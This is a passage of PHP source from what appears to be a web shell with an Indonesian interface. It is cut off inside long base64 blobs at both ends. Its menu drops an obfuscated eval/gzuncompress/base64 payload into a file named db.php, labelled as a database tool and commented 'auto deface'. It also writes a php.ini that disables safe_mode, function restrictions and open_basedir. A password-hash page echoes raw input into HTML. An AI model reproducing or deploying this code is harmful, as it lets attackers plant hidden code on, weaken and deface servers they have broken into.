d0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
  1465.         file_put_contents("db.php",base64_decode($script));
  1466.          echo "<script>alert('done! check db.php'); hideAll();</script>";
  1467.         echo "<p><center><font color=green>Check = >> <a href='db.php' target=_blank><b>db.php</b></a></font></center>
  1468.  
  1469.         </div><br><br> ";
  1470.         die();
  1471.         }
  1472. //create php.ini for safe mode
  1473.         elseif ( $pilih == 'phini') {
  1474.         $byht = "safe_mode = Off
  1475.         disable_functions = None
  1476.         safe_mode_gid = OFF
  1477.         open_basedir = OFF
  1478.         allow_url_fopen = On
  1479.         code by = zakir dot id";
  1480.         file_put_contents("php.ini",$byht);
  1481.         echo "<script>alert('php.ini Created'); hideAll();</script>";
  1482.         echo "
  1483.         </div><br><br><center></center><b>
  1484.         <br><center></center> ";
  1485.    
  1486.         die();
  1487.         }
  1488. }
  1489. }
  1490. elseif($_GET['do'] == 'hash') {
  1491.  $submit = $_POST['enter'];
  1492.    
  1493.  if (isset($submit)) {
  1494.      
  1495.    $pass = $_POST['password']; // password
  1496.      
  1497.   $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
  1498.  
  1499.      $hash = md5($pass); // md5 hash #1
  1500.      
  1501.    $md4 = hash("md4", $pass);
  1502.         $hash_md5 = md5($salt . $pass); // md5 hash with salt #2
  1503.    
  1504.      $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
  1505.      
  1506.    $hash1 = sha1($pass); // sha1 hash #4
  1507.         $sha256 = hash("sha256", $text);
  1508.      
  1509.    $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
  1510.        
  1511.  $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
  1512.      
  1513.    
  1514.     }
  1515.     echo '<form action="" method="post"><b> ';
  1516.  
  1517.   echo '<center><h2><b>-=[ Password Hash]=-</b></h2></center></tr>';
  1518.  
  1519.    echo ' <b>masukan kata yang ingin di encrypt:</b> ';
  1520.  
  1521.   echo ' <input class="inputz" type="text" name="password" size="40" />';
  1522.  
  1523.    echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
  1524.  
  1525.   echo ' <br>';
  1526.     echo ' Hasil Hash</th></center></tr>';
  1527.  
  1528.    echo ' Original Password  <input class=inputz type=text size=50 value=' . $pass . '> <br><br>';
  1529.  
  1530.    echo ' MD5  <input class=inputz type=text size=50 value=' . $hash . '> <br><br>';
  1531.    
  1532. echo ' MD4  <input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';
  1533.    
  1534. echo ' MD5 with Salt  <input class=inputz type=text size=50 value=' . $hash_md5 . '> <br><br>';
  1535.  
  1536.   echo ' MD5 with Salt & Sha1  <input class=inputz type=text size=50 value=' . $hash_md5_double . '> <br><br>';
  1537.  
  1538.     echo ' Sha1  <input class=inputz type=text size=50 value=' . $hash1 . '> <br><br>';
  1539.  
  1540.    echo ' Sha256  <input class=inputz type=text size=50 value=' . $sha256 . '> <br><br>';
  1541.  
  1542.    echo ' Sha1 with Salt  <input class=inputz type=text size=50 value=' . $hash1_sha1 . '> <br><br>';
  1543.  
  1544.    echo ' Sha1 with Salt & MD5  <input class=inputz type=text size=50 value=' . $hash1_sha1_double . '> <br><br>';
  1545.  
  1546.  
  1547.  
  1548. }
  1549. elseif($_GET['do'] == 'base-coc') {
  1550. echo'<center><br><br><h1>DataBase SQL
  1551. <form method="post" action="">&nbsp;
  1552. <select name="pilihan" id="pilih">
  1553. <option value="db">DataBase [Mysql Adminer]</option>
  1554. <option value="phini">Bypass php.ini</option>
  1555. </select>
  1556. <input  type="submit" name="submites" value=" >> ">
  1557. </td></form><hr>';
  1558. //starting
  1559. $submit = $_POST ['submites'];
  1560. if(isset($submit)) {
  1561.     $pilih = $_POST['pilihan'];
  1562. //auto deface      
  1563.     if ( $pilih == 'db') {
  1564.         $script = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI